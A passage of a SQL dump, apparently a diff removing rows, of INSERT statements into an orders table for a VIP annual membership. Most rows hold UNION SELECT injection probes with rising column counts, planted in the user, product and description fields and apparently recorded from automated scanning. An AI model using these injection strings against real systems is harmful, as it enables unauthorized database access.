'2026-03-05 04:30:00.177', '2026-03-05 04:30:00.177', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000629680', 'MP20260305123000629680', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:00.925', '2026-03-05 04:30:00.925', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000684024', 'MP20260305123000684024', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:00.523', '2026-03-05 04:30:00.523', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000791662', 'MP20260305123000791662', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:00.353', '2026-03-05 04:30:00.353', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000874050', 'MP20260305123000874050', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6,7-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:00.817', '2026-03-05 04:30:00.817', NULL); -INSERT INTO `orders` VALUES ('MP20260305123001181641', 'MP20260305123001181641', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6,7,8-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:01.618', '2026-03-05 04:30:01.618', NULL); -INSERT INTO `orders` VALUES ('MP20260305123001363030', 'MP20260305123001363030', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6,7-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:01.990', '2026-03-05 04:30:01.990', NULL); -INSERT INTO `orders` VALUES ('MP20260305123001443073', 'MP20260305123001443073', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:01.810', '2026-03-05 04:30:01.810', NULL); -INSERT INTO `orders` VALUES ('MP20260305123002310792', 'MP20260305123002310792', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6,7,8-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:02.437', '2026-03-05 04:30:02.437', NULL); -INSERT INTO `orders` VALUES ('MP20260305123002559579', 'MP20260305123002559579', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6,7,8,9-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:02.919', '2026-03-05 04:30:02.919', NULL); -INSERT INTO `orders` VALUES ('MP20260305123002721683', 'MP20260305123002721683', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6,7,8-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:02.153', '2026-03-05 04:30:02.153', NULL); -INSERT INTO `orders` VALUES ('MP20260305123003041536', 'MP20260305123003041536', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:03.396', '2026-03-05 04:30:03.396', NULL); -INSERT INTO `orders` VALUES ('MP20260305123003816629', 'MP20260305123003816629', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6,7,8,9-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:03.678', '2026-03-05 04:30:03.678', NULL); -INSERT INTO `orders` VALUES ('MP20260305123003880361', 'MP20260305123003880361', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:03.731', '2026-03-05 04:30:03.731', NULL); -INSERT INTO `orders` VALUES ('MP20260305123004342385', 'MP20260305123004342385', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6,7,8,9,10-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:04.951', '2026-03-05 04:30:04.951', NULL); -INSERT INTO `orders` VALUES ('MP20260305123004746546', 'MP20260305123004746546', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6,7,8,9-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:04.782', '2026-03-05 04:30:04.782', NULL); -INSERT INTO `orders` VALUES ('MP20260305123007005637', 'MP20260305123007005637', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:07.932', '2026-03-05 04:30:07.932', NULL); -INSERT INTO `orders` VALUES ('MP20260305123007058589', 'MP20260305123007058589', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:07.988', '2026-03-05 04:30:07.988', NULL); -INSERT INTO `orders` VALUES ('MP20260305123007430400', 'MP20260305123007430400', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:07.834', '2026-03-05 04:30:07.834', NULL); -INSERT INTO `orders` VALUES ('MP20260305123007486408', 'MP20260305123007486408', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:07.883', '2026-03-05 04:30:07.883', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008298416', 'MP20260305123008298416', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.443', '2026-03-05 04:30:08.443', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008411338', 'MP20260305123008411338', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6,7-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.143', '2026-03-05 04:30:08.143', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008416261', 'MP20260305123008416261', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.804', '2026-03-05 04:30:08.804', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008456919', 'MP20260305123008456919', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.036', '2026-03-05 04:30:08.036', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008457918', 'MP20260305123008457918', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6,7,8,9-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.247', '2026-03-05 04:30:08.247', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008538041', 'MP20260305123008538041', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.496', '2026-03-05 04:30:08.496', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008570498', 'MP20260305123008570498', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6,7-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.859', '2026-03-05 04:30:08.859', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008666879', 'MP20260305123008666879', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6,7,8-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.194', '2026-03-05 04:30:08.194', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008672637', 'MP20260305123008672637', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.549', '2026-03-05 04:30:08.549', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008708671', 'MP20260305123008708671', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.091', '2026-03-05 04:30:08.091', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008880243', 'MP20260305123008880243', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.388', '2026-03-05 04:30:08.388', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008888742', 'MP20260305123008888742', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.607', '2026-03-05 04:30:08.607', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008989217', 'MP20260305123008989217', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.301', '2026-03-05 04:30:08.301', NULL); -INSERT INTO `orders` VALUES ('MP20260305123009160533', 'MP20260305123009160533', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:09.439', '2026-03-05 04:30:09.439', NULL); -INSERT INTO `orders` VALUES ('MP20260305123009376281', 'MP20260305123009376281', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:09.808', '2026-03-05 04:30:09.808', NULL); -INSERT INTO `orders` VALUES ('MP20260305123009506912', 'MP20260305123009506912', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:09.494', '2026-03-05 04:30:09.494', NULL); -INSERT INTO `orders` VALUES ('MP20260305123009790991', 'MP20260305123009790991', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:09.208', '2026-03-05 04:30:09.208', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010241042', 'MP20260305123010241042', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.670', '2026-03-05 04:30:10.670', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010331449', 'MP20260305123010331449', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.499', '2026-03-05 04:30:10.499', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010492445', 'MP20260305123010492445', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6,7,8,9-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.286', '2026-03-05 04:30:10.286', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010544802', 'MP20260305123010544802', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.080', '2026-03-05 04:30:10.080', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010662741', 'MP20260305123010662741', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6,7,8-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.233', '2026-03-05 04:30:10.233', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010818803', 'MP20260305123010818803', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.999', '2026-03-05 04:30:10.999', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010917769', 'MP20260305123010917769', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.025', '2026-03-05 04:30:10.025', NULL); -INSERT INTO `orders` VALUES ('MP20260305123011081353', 'MP20260305123011081353', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8,9-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:11.142', '2026-03-05 04:30:11.142', NULL); -INSERT INTO `orders` VALUES ('MP20260305123011821206', 'MP20260305123011821206', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:11.303', '2026-03-05 04:30:11.303', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012177476', 'MP20260305123012177476', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.513', '2026-03-05 04:30:12.513', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012432300', 'MP20260305123012432300', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.231', '2026-03-05 04:30:12.231', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012442270', 'MP20260305123012442270', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.128', '2026-03-05 04:30:12.128', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012477849', 'MP20260305123012477849', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.338', '2026-03-05 04:30:12.338', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012500187', 'MP20260305123012500187', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.183', '2026-03-05 04:30:12.183', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012592382', 'MP20260305123012592382', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.287', '2026-03-05 04:30:12.287', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012689006', 'MP20260305123012689006', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.763', '2026-03-05 04:30:12.763', NULL); -INSERT INTO `orders` VALUES ('MP20260305123013665320', 'MP20260305123013665320', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8,9-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:13.214', '2026-03-05 04:30:13.214', NULL); -INSERT INTO `orders` VALUES ('MP20260305123013694864', 'MP20260305123013694864', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:13.018', '2026-03-05 04:30:13.018', NULL); -INSERT INTO `orders` VALUES ('MP20260305123013941093', 'MP20260305123013941093', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:13.390', '2026-03-05 04:30:13.390', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014012532', 'MP20260305123014012532', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.305', '2026-03-05 04:30:14.305', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014047621', 'MP20260305123014047621', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.485', '2026-03-05 04:30:14.485', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014071324', 'MP20260305123014071324', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6,7,8-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.982', '2026-03-05 04:30:14.982', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014260555', 'MP20260305123014260555', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.154', '2026-03-05 04:30:14.154', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014333004', 'MP20260305123014333004', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.094', '2026-03-05 04:30:14.094', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014397721', 'MP20260305123014397721', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.257', '2026-03-05 04:30:14.257', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014891724', 'MP20260305123014891724', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6,7-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.765', '2026-03-05 04:30:14.765', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014919206', 'MP20260305123014919206', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.207', '2026-03-05 04:30:14.207', NULL); -INSERT INTO `orders` VALUES ('MP20260305123015942138', 'MP20260305123015942138', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6,7,8,9,10-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:15.408', '2026-03-05 04:30:15.408', NULL); -INSERT INTO `orders` VALUES ('MP20260305123015975334', 'MP20260305123015975334', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6,7,8,9-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:15.228', '2026-03-05 04:30:15.228', NULL); -INSERT INTO `orders` VALUES ('MP20260305123016309070', 'MP20260305123016309070', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:16.919', '2026-03-05 04:30:16.919', NULL); -INSERT INTO `orders` VALUES ('MP20260305123016391725', 'MP20260305123016391725', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:16.968', '2026-03-05 04:30:16.968', NULL); -INSERT INTO `orders` VALUES ('MP20260305123016732830', 'MP20260305123016732830', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:16.870', '2026-03-05 04:30:16.870', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017059205', 'MP20260305123017059205', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.018', '2026-03-05 04:30:17.018', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017156271', 'MP20260305123017156271', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6,7-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.183', '2026-03-05 04:30:17.183', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017215573', 'MP20260305123017215573', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6,7,8-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.239', '2026-03-05 04:30:17.239', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017233990', 'MP20260305123017233990', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6,7,8,9-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.300', '2026-03-05 04:30:17.300', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017524080', 'MP20260305123017524080', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6,7,8,9,10-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.581', '2026-03-05 04:30:17.581', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017746310', 'MP20260305123017746310', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.129', '2026-03-05 04:30:17.129', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017752372', 'MP20260305123017752372', 